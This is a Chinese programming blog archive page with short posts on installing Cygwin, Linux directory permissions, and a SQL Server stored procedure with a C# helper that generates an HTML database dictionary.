  Cygwin。下载地址:http://cygwin.com/。此处笔者下载的是cygwin-setup-x86_64.exe。
  3.安装
  (1)点击运行
  (2)选择从网上下载安装
  (3)设置安装路径以及使用用户
  (4)选择下载包存放目录
(5)选择下载方式
  (6)选择下载地址,在国内,选国内的网址,带.cn的,第一个是163.com但,笔者试过,没下面选择的快。
  (7)选择安装包,记得点一下“Devel”,后面的Default会变成Install.
  (8)下一步,显示将要下载的包
  (9)等待下载,此过程时间略长
  下载完成之后,也就安装完成了。运行之后,便可以出现Linux的黑窗口了。

posted @ 2014-10-11 10:57 顺其自然EVO 阅读(268) | 评论 (0)编辑 收藏

Linux目录权限小记

 r : 拥有读取目录结构列表的权限
  x:拥有进入此目录的权限
  w:?
  1: 建立新的档案和目彔; 2删除已经存在的档案和目录(无论该档案的权限为何!) 3能够重命名档案和目录; 4 能够移动目录里面的档案和目录。
  如果在/tmp下面有个test目录,其权限如下
  drwxrwxr-x. 4 root root 4096 11月  9 15:11 test
  test目录里面有个档案名为testfile
  -rw-r--r-x. 1 root root  137 11月  9 15:12 testfile 则其他用户对testfile只能有读和执行的权限。
  但如果将test目录的权限改为如下格式:
  [root@tarbitrary tmp]# chmod o+w test [root@tarbitrary tmp]# ls -ld test drwxrwxrwx. 4 root root 4096 11月  9 15:11 test
  在这种情况下,即使其他用户对其目录下的testfile没有w权限,也可以对其进行强制写入,且强制写入后,档案的所属者及群组更改为当前编辑者及其所属群组.

posted @ 2014-10-09 10:30 顺其自然EVO 阅读(186) | 评论 (0)编辑 收藏

自动生成数据库字典(sql2008)

每次做项目的时候都要做数据字典,这种重复的工作实在很是痛苦,于是广找资料,终于完成了自动生成数据库字典的工作,废话少说,上代码。
  存储过程:
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
-- =============================================
-- Author:        <Carbe>
-- Create date: <2014-09-19>
-- Description:    <生成数据库字典>
-- =============================================
CREATE PROCEDURE [dbo].[CreateDatabaseDictionarie]
AS
BEGIN
DECLARE @TableName nvarchar(35),@htmls varchar(8000)
DECLARE @字段名称 VARCHAR(200)
DECLARE @类型  VARCHAR(200)
DECLARE @长度 VARCHAR(200)
DECLARE @数值精度 VARCHAR(200)
DECLARE @小数位数 VARCHAR(200)
DECLARE @默认值 VARCHAR(200)
DECLARE @允许为空 VARCHAR(200)
DECLARE @外键 VARCHAR(200)
DECLARE @主键 VARCHAR(200)
DECLARE @描述 VARCHAR(200)
SET NOCOUNT ON;
DECLARE Tbls CURSOR
FOR
Select distinct Table_name
FROM INFORMATION_SCHEMA.COLUMNS
order by Table_name
OPEN Tbls
PRINT '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">'
PRINT '<html xmlns="http://www.w3.org/1999/xhtml">'
PRINT '    <head>'
PRINT '        <title>KC管理系统-数据库字典</title>'
PRINT '        <style type="text/css">'
PRINT '            body{margin:0; font:11pt "arial", "微软雅黑"; cursor:default;}'
PRINT '            .tableBox{margin:10px auto; padding:0px; width:1000px; height:auto; background:#FBF5E3; border:1px solid #45360A}'
PRINT '            .tableBox h3 {font-size:12pt; height:30px; line-height:30px; background:#45360A; padding:0px 0px 0px 15px; color:#FFF; margin:0px; text-align:left }'
PRINT '            .tableBox table {width:1000px; padding:0px }'
PRINT '            .tableBox th {height:25px; border-top:1px solid #FFF; border-left:1px solid #FFF; background:#F7EBC8; border-right:1px solid #E0C889; border-bottom:1px solid #E0C889 }'
PRINT '            .tableBox td {height:25px; padding-left:10px; border-top:1px solid #FFF; border-left:1px solid #FFF; border-right:1px solid #E0C889; border-bottom:1px solid #E0C889 }'
PRINT '        </style>'
PRINT '    </head>'
PRINT '    <body>'
FETCH NEXT FROM Tbls INTO @TableName
WHILE @@FETCH_STATUS = 0
BEGIN
Select @htmls = '        <h3>' + @TableName + ' : '+ CAST(Value as varchar(1000)) + '</h3>'
FROM sys.extended_properties AS A
WHERE A.major_id = OBJECT_ID(@TableName)
and name = 'MS_Description' and minor_id = 0
PRINT '        <div class="tableBox">'
PRINT @htmls
PRINT '            <table cellspacing="0">'
PRINT '                <tr>'
PRINT '                    <th>字段名称</th>'
PRINT '                    <th>类型</th>'
PRINT '                    <th>长度</th>'
PRINT '                    <th>数值精度</th>'
PRINT '                    <th>小数位数</th>'
PRINT '                    <th>默认值</th>'
PRINT '                    <th>允许为空</th>'
PRINT '                    <th>外键</th>'
PRINT '                    <th>主键</th>'
PRINT '                    <th>描述</th>'
PRINT '                </tr>'
DECLARE TRows CURSOR
FOR
SELECT
'                    <td>' + CAST(clmns.name AS VARCHAR(35)) + '</td>',
'                    <td>' + CAST(udt.name AS CHAR(15)) + '</td>' ,
'                    <td>' + CAST(CAST(CASE WHEN typ.name IN (N'nchar', N'nvarchar') AND clmns.max_length <> -1 THEN clmns.max_length/2 ELSE clmns.max_length END AS INT) AS VARCHAR(20)) + '</td>',
'                    <td>' + CAST(CAST(clmns.precision AS INT) AS VARCHAR(20)) + '</td>',
'                    <td>' + CAST(CAST(clmns.scale AS INT) AS VARCHAR(20)) + '</td>',
'                    <td>' + isnull(CAST(cnstr.definition AS VARCHAR(20)),'') + '</td>',
'                    <td>' + CAST(clmns.is_nullable AS VARCHAR(20)) + '</td>' ,
'                    <td>' + CAST(clmns.is_computed AS VARCHAR(20)) + '</td>' ,
'                    <td>' + CAST(clmns.is_identity AS VARCHAR(20)) + '</td>' ,
'                    <td>' + ISNULL(CAST(exprop.value AS VARCHAR(500)),'') + '</td>'
FROM sys.tables AS tbl
INNER JOIN sys.all_columns AS clmns ON clmns.object_id=tbl.object_id
LEFT OUTER JOIN sys.indexes AS idx ON idx.object_id = clmns.object_id AND 1 =idx.is_primary_key
LEFT OUTER JOIN sys.index_columns AS idxcol ON idxcol.index_id = idx.index_id AND idxcol.column_id = clmns.column_id AND idxcol.object_id = clmns.object_id AND 0 = idxcol.is_included_column
LEFT OUTER JOIN sys.types AS udt ON udt.user_type_id = clmns.user_type_id
LEFT OUTER JOIN sys.types AS typ ON typ.user_type_id = clmns.system_type_id AND typ.user_type_id = typ.system_type_id
LEFT JOIN sys.default_constraints AS cnstr ON cnstr.object_id=clmns.default_object_id
LEFT OUTER JOIN sys.extended_properties exprop ON exprop.major_id = clmns.object_id AND exprop.minor_id = clmns.column_id AND exprop.name = 'MS_Description'
WHERE (tbl.name = @TableName and exprop.class = 1) --I don't wand to include comments on indexes
ORDER BY clmns.column_id ASC
OPEN TRows
FETCH NEXT FROM TRows INTO @字段名称,@类型,@长度,@数值精度,@小数位数,@默认值,@允许为空,@外键,@主键,@描述
WHILE @@FETCH_STATUS = 0
BEGIN
PRINT '                <tr>'
PRINT @字段名称
PRINT @类型
PRINT @长度
PRINT @数值精度
PRINT @小数位数
PRINT @默认值
PRINT @允许为空
PRINT @外键
PRINT @主键
PRINT @描述
PRINT '                </tr>'
FETCH NEXT FROM TRows INTO @字段名称,@类型,@长度,@数值精度,@小数位数,@默认值,@允许为空,@外键,@主键,@描述
END
CLOSE TRows
DEALLOCATE TRows
PRINT '            </table>'
PRINT '        </div>'
FETCH NEXT FROM Tbls INTO @TableName
END
PRINT '    </body>'
PRINT '</html>'
CLOSE Tbls
DEALLOCATE Tbls
END
 当然这些通过PRING出来的代码使用传统的方式是调用不到的,通过查找资料,终于在国外一个XXX网站找到了解决方案。
private static string message = "";
public static string ExecuteNonQuery(string connextionString, CommandType commandType, string commandText, bool outputMsg)
{
if (connextionString == null || connextionString.Length == 0) throw new ArgumentNullException("connectionString");
// Create & open a SqlConnection, and dispose of it after we are done
using (SqlConnection connection = new SqlConnection(connextionString))
{
message = "";
connection.Open();
connection.InfoMessage += delegate(object sender, SqlInfoMessageEventArgs e)
{
message += "\n" + e.Message;
};
// Call the overload that takes a connection in place of the connection string
if (connection == null) throw new ArgumentNullException("connection");
// Create a command and prepare it for execution
SqlCommand cmd = new SqlCommand(commandText, connection); ;
cmd.CommandType = commandType;
// Finally, execute the command
int retval = cmd.ExecuteNonQuery();
// Detach the SqlParameters from the command object, so they can be used again
cmd.Parameters.Clear();
connection.Close();
return message;
}
}
  调用就不用写了嘛。一切就这么简单,生成的是一份标准的htm代码,可直接放到HTML里面,当然也可以直接从数据库读取出来显示。

posted @ 2014-10-09 10:29 顺其自然EVO 阅读(250) | 评论 (0)编辑 收藏

仅列出标题
共394页: First 上一页 35 36 37 38 39 40 41 42 43 下一页 Last 
<2024年11月>
272829303112
3456789
10111213141516
17181920212223
24252627282930
1234567

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜